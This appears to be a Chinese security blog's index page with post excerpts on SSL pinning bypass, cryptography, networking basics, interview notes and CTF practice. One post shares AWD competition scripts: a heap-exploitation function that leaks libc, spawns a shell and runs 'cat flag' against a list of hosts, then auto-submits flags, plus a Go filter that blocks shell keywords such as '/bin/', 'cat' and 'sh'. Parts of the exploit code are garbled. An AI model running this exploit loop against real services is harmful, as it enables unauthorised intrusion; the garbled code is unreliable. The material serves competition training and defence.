一个热爱技术的white hacker. Love Pwn & WEB & Android Reverse
post @ 2025-03-18

SSL Pinning(ssl证书绑定)

HTTPS的原理你必然懂,在建立ssl通道的过程中,当客户端向服务端发送了连接请求后,服务器会发送自己的证书(包括公钥、证书有效期、服务器信息等)给客户端,如果客户端是普通的浏览器,比如IE浏览器,则:

  1. 使用内置的CA证书去校验服务器证书是否被信任,如果不被信任,则会弹出https的告警提示信息,由用户自己决定是否要继续.
  2. 同样,用户也可以主动的将服务器证书导入到浏览器的受信任区,下次打开时该服务器证书将会自动被信任.

对于APP,开发者可以先将自己服务器的证书打包内置到自己的APP中,或者将证书签名内置到APP中,当客户端在请求服务器建立连接期间收到服务器证书后,先使用内置的证书信息校验一下服务器证书是否合法,如果不合法,直接断开。

SSL Pinning:通过预先把服务器的证书信息“绑定“在APP的native端,然后建立连接时使用预先内置的绑定信息进行服务器证书校验

JustTrustMe

image-20250318162106131

JustTrustMe 是一个用来禁用、绕过 SSL 证书检查的基于 Xposed 模块。

JustTrustMe 是将 APK 中所有用于校验 SSL 证书的 API 都进行了 Hook,从而绕过证书检查。

所以有的框架JustTrustMe也不能绕过,需要渗透人员手动Frida Hook绕过

Read More
post @ 2025-03-17
  1. 对称加密(也称为秘钥加密)

加密解密使用同一套秘钥

  1. 非对称加密(也称公钥加密)

加密用公钥,解密用私钥

两个密钥的特性:公钥加密后的密文,只能通过对应的私钥进行解密。而通过公钥推理出私钥的可能性微乎其微。

非对称加密方案的登录流程

image-20250317205902210

  1. 远程Server收到Client端用户TopGun的登录请求,Server把自己的公钥发给用户。
  2. Client使用这个公钥,将密码进行加密。
  3. Client将加密的密码发送给Server端。
  4. 远程Server用自己的私钥,解密登录密码,然后验证其合法性。
  5. 若验证结果,给Client相应的响应。

私钥是Server端独有,这就保证了Client的登录信息即使在网络传输过程中被窃据,也没有私钥进行解密,保证了数据的安全性,这充分利用了非对称加密的特性。

存在中间人攻击

Read More

(面试必问)

image-20250317205818349

进程

进程是资源分配的基本单位,每个进程都有自己独立的一块内存空间,一个进程可以有多个线程。Windows操作系统描述进程的时候在系统地址空间用PEB结构体进行描述。逆向过程中可以通过修改PEB结构体的值来绕过调试器检测。

线程

CPU调度的基本单位,一个进程至少有一个线程,一个进程可以运行多个线程,多个线程可共享进程的数据。每个线程有自己的程序计数器、虚拟机栈和本地方法栈。

线程是进程中最小的执行单位,同时也是计算机最小的调度单元。

协程

协程是一种特殊的函数,允许在执行过程中暂停和恢复,从而实现异步编程。与普通函数运行到结束为止不同,协程可以在执行过程中将控制权交还给调用方,使其他任务能够并发运行。协程特别适合处理一些耗时操作(例如从网络获取数据或读取文件),这些操作通常会阻塞主线程。

Read More
post @ 2025-03-17

HTTPS(HyperText Transfer Protocol Secure)是HTTP协议的安全版本,它通过结合使用TLS(Transport Layer Security)协议来加密HTTP通信。

image-20250317205654419

用户和网站通信的过程

image-20250317205700022

image-20250317205705219

TLS四次握手

image-20250317205711504

结合(SSH认证原理)

Read More
post @ 2025-03-17

UDP 属于传输层协议。UDP 协议的主要作用是将数据压缩成数据包的形式。

image-20250317205548833

UDP 是一种无连接的协议,它提供简单的、不可靠的通信服务。

UDP 协议的通信较 TCP 简单了很多,减少了 TCP 的握手、确认、窗口、重传、拥塞控制等机制,UDP 是一个无状态的传输协议。

UDP 客户端在发送数据时并不判断主机是否可达,服务器是否开启等问题,同样它不能确定数据是否成功送达服务器。它只是将数据简单的封了一个包,之后就丢出去了。

image-20250317205553148

Read More
post @ 2025-03-17

image-20250317205345021

TCP:TCP 是一种面向连接的协议,它提供可靠的、有序的、基于字节流的通信服务。TCP 通过三次握手建立连接,通过四次挥手关闭连接。(传输层,提供端到端的通信服务。)

TCP三次握手校验

TCP 的三次握手,意思就是建立连接的时候客户端与服务器之间需要三次数据包的交流。

ACK:确认序号标志,为1时表示确认号有效,为0表示报文中不含确认信息,忽略确认号字段。

SYN:同步序号,用于建立连接过程

  1. 客户端发送给服务器一个请求连接数据包,即发送了一个指向服务器目标端口的一个 SYN 位为 1 的TCP 报文。
  2. 服务器接收到客户端的连接请求之后,会回应一个 SYN 位为 1 的TCP 报文,表示同意连接。并且,会把 ACK 位也置 1 表示确认收到上次消息。
  3. 客户端接收到服务器的同意连接的数据包之后,还要回复一个 ACK 为 1 的 TCP 报文,表示确认收到。

image-20250317205351223

TCP四次挥手断开连接

TCP 的四次挥手,意思就是释放连接的时候客户端与服务器之间需要四次数据包的交流。

Read More
post @ 2025-03-15

今天在整理语雀知识库的时候,整理之前参加awd的时候的脚本。

那时候pwn没咋学,总结一下:

(后面如果有机会还会在传)

自动get ip脚本

1
2
3
4
5
filename = 'url.txt'
with open(filename,'w') as f:
for i in range(255):
url="127.0."+str(i)+".1:9999\n"
f.write(url)

自动攻击+提交

pip install request

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#攻击函数,可以自定义
def pwn(host,port):
context(os="linux",arch="amd64",timeout=30)
# context.log_level="DEBUG" p=remote(host,port)

context.terminal = ['tmux', 'split', '-h']
elf=ELF("./main")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p,"b *0x400bd0") newpost(p,"AAAAAA")#0 newpost(p,"BBBBBBB")#1 unsort(p,"6666666") #2 newpost(p,"hhhhh") #3 0x6020b8 #pause() delete(p,"2")
newpost(p,"")

show(p)
libc.address=u64(p.recvuntil("\x7f",timeout=3)[-6: ] + '\0\0')- 250-0x3c4b10
success("libc -> {:#x}".format(libc.address))

delete(p,"0")
delete(p,"1")
delete(p,"0")
# pause() newpost(p,p64(0x60208d))
# pause()
newpost(p,"/bin/sh\0")
#pause() newpost(p,"")
ioaddr=0x7f55aab438e0-0x7f55aa77f000
####test # newpost(p,"") # pause() ####test newpost(p,'qrstuvwxyz'+"ABCDEFGHIJKLMNOPQ"+p64(0x602018))

p.sendlineafter("Your Choice:","2")
p.sendlineafter("Enter the Index:","3")
content=p64(libc.address+283536)[:-1]
p.sendafter("Enter the Content:",content)


#edit("4","/bin/sh") #pause() delete(p,"6")
p.sendline("cat flag")
flag=p.recvline()
p.close()##!!!!!!!!!!!!!!!!!!!!!重要 return flag
#################这些都不重要################################################### def newpost(p,content):
p.sendlineafter("Your Choice:","1")
p.sendlineafter("Enter the Content:",content)
p.recvline()

def edit(p,index,content):
p.sendlineafter("Your Choice:","2")
p.sendlineafter("Enter the Index:",index)
p.sendlineafter("Enter the Content:",content)

def delete(p,index):
p.sendlineafter("Your Choice:","3")
p.sendlineafter("Enter the Index:",index)

def show(p):
p.sendlineafter("Your Choice:","4")

def unsort(p,content):
p.sendlineafter("Your Choice:","5")
p.sendlineafter("Enter the Content:",content)

#自动提交flag
def submit(flag, token):
url = "xxxx"
pos = {
"flag":flag,
"token":token
}

print "[+] Submiting flag : [%s]" % (pos)
response = requests.post(url,data=data)
content = response.content
print "[+] Content : %s " % (content)
if failed in content:
print "[-]failed"
return False
else:
print "[+] Success!"
return True

def exploit(host,port):
try:
#pwn是攻击函数
flag = pwn(host,port)
#提交flag的submit函数
submit(flag,token)

except Exception as m:
print(m)

def exploit_it():
#打开目标
with open("url.txt") as f :
for line in f:
#分割ip和端口
host = line.split(":")[0]
port = int(line.split(":")[1])
print("[+] Exploiting:%s:%d" % (host,port))
#执行攻击脚本
exploit(host,port)

pwnwaf-go语言版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
package main

import (
"bufio"
"fmt"
"os"
"os/exec"
"regexp"
"strconv"
"sync"
"time"
)

//他大概的功能是匹配关键命令,替换为空,匹配flag文件,返回空内容。并将过程写入日志
var wg sync.WaitGroup

const (
pwnPath = "./tmp/nysec" //替换为要保护的pwn
logPath = "./tmp/pwnone_log/" //替换为可读可写的 日志目录
)

func main() {
fmt.Println("该文件由Pwnwaf进行保护")
_,err := os.Stat(logPath) //判断./tmp/nysec是否存在
if err != nil {
//os.Mkdir(logPath, 0777) //如果文件夹不存在则创建文件夹
os.MkdirAll(logPath,0777)
}
logfileName := time.Now().Format("15_04_05") + "_" + strconv.FormatInt(time.Now().UnixNano() / 1e6,10) + ".log"
//time.Now().Format("15_04_05")获取当前时间格式化当前时间
//strconv.FormatInt(time.Now().UnixNano() / 1e6,10):相当于随机数,这个数随着时间的推移而增大
logfileName = logPath + logfileName
f,err := os.OpenFile(logfileName,os.O_CREATE|os.O_WRONLY, os.ModePerm)
//创建为logfileName的文件
//os.O_CREATE|os.O_WRONLY:如果文件已存在,则会覆盖写,不会清空原来的文件,而是直接从头开始覆盖
fwriter := bufio.NewWriter(f) //创建默认大小的缓冲区
defer func() { //匿名函数最后执行
fwriter.Flush() //将缓冲区文件写入到文件中
f.Close()
}()

pwnCmd := exec.Command(pwnPath) //运行nysec文件,即运行pwn文件
pwnIn,_ := pwnCmd.StdinPipe() //标准输入重定向到PwnIn
pwnOut,_ := pwnCmd.StdoutPipe()//标准输出重定向到PwnOut
pwnCmd.Start() //立即执行pwn文件
wg.Add(1)
//一个 WaitGroup 对象可以等待一组协程结束
//wg.Add(int) 设置协程的个数,然后创建worker协程
go func() { //创建协程--output
dangerExp := regexp.MustCompile("flag\\{.*?}") //正则匹配
for {
output := make([]byte,1024) //创建切片
length,err := pwnOut.Read(output) //将pwnOut读入到output中
if err != nil{
wg.Done() //协程结束后都要调用 wg.Done();
return
}
output = output[:length] //从第一个元素开始到output
fwriter.WriteString("send: \n")
fwriter.Write(output)
fwriter.WriteString("\n")
fmt.Print(string(dangerExp.ReplaceAll(output,[]byte{}))) //将output中的某些特殊字符正则匹配为空
}
}()
go func() {//input
//创建正则表达式,匹配输入是否包含以下指令
dangerExp := regexp.MustCompile("/bin/|cat|flag|sh|tac|strings|head|tail|base64")
for {

input := make([]byte,1024)
length,err := os.Stdin.Read(input) //读取输入
if err != nil{
wg.Done()
return
}
input = input[:length]
//将获取的输入写入文件
fwriter.WriteString("receive: \n")
fwriter.Write(input)
fwriter.WriteString("\n")
//使用空白,替换 危险的关键字,使用正则表达式
input = dangerExp.ReplaceAll(input,[]byte{})
//替换后的输入,写入pwnIn
_, err = pwnIn.Write(input)
if err != nil {
wg.Done() //协程结束后都要调用 wg.Done();
return
}
}
}()
wg.Wait() //main协程调用 wg.Wait() 阻塞等待所有协程执行完毕后返回
}
Read More

题目:

通过网盘分享的文件:pwn1
链接: https://pan.baidu.com/s/1wbcX-sBng65_mNA0vrIKqQ?pwd=1234 提取码: 1234
(手机打开转存效果更佳)

知识点:栈溢出理解

先来复习一下,栈的结构和参数存储的位置

image-20250315142713100

静态分析

image-20250315142722818

把a1替换为0x61616161

image-20250315142727399

gets() 函数不会限制用户输入的数据长度,而变量 s 的大小不是无限的

Read More
post @ 2025-03-14

面试岗位:做安全正向防护sdk的,web和移动端都有

Snipaste_2025-03-14_10-46-52

大概面了40分钟,写代码写了20分钟

1、自我介绍

巴拉巴拉告诉自己擅长什么,打算干啥

2、介绍自己的项目经历(根据项目经历来问)

Android 渗透印象最深刻的漏洞?

360免费版和360企业版主要的区别?

Frida检测如何绕过?

如果你是正向人员,如何隐藏Frida检测?

Read More

给了这样的

image-20250314113600471

登录和密码,源码泄露

image-20250314113622338

image-20250314113633380

看到有个info.php,访问他,flag在环境变量里

image-20250314113646777

Read More
⬆︎TOP